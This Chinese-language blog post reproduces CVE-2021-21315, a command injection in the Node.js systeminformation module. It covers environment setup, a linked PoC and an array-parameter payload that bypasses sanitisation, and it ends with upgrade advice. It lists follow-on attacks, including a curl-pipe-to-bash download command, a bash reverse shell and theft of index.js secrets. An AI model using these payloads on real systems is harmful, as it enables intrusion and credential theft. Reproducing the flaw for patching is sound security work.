大柚子

这世界不过如此

概述

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。Node使用Module模块划分不同的功能,每一个模块都包含非常丰富的函数,如http就包含了和http相关的很多函数,帮助开发者对http、tcp/udp等进行操作或创建相关服务器。
Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。

影响版本

Systeminformation < 5.3.1

环境搭建

下载受影响的Node.js,这里使用的是v12.18.4

wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz

解压,并改名未nodejs,移动至/usr/local/sbin/

tar -xvf node-v12.18.4-linux-x64.tar.xz
mv node-v12.18.4-linux-x64 nodejs
mv nodejs/ /usr/local/sbin/

更改文件node和npm的软链接

ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/

检查配置是否成功

漏洞复现

解压poc, poc链接https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

运行index.js

向 site.com/api/getServices?name=nginx 发出 GET 请求(nginx 只是示例)

现在尝试发送这样的请求:yoursite.com/api/getServices?name=$(echo -e ‘test’ > test.txt)

由于字符串清理,这将失败: 

现在尝试发送请求: yoursite.com/api/getServices?name[]=$(echo -e ‘test’ > test.txt)

这一次,如果你看一下“name”值,它没有被清理 -成功 !让我们看看命令是否被执行

成功!我们的命令被执行了。潜在的攻击方式:

上传内部文件,例如 index.js(我们应用程序的核心,带有潜在的 api 密钥、数据库连接字符串等)或其他
下载并执行脚本 - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
反向shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
杀死进程(你也可以杀死我们的测试节点应用程序)

日志参考:

https://segmentfault.com/a/1190000019453527

加固建议

目前该漏洞已经修复,将systeminformation及时升级到5.3.1或更高版本。

https://www.npmjs.com/package/systeminformation

参考

https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。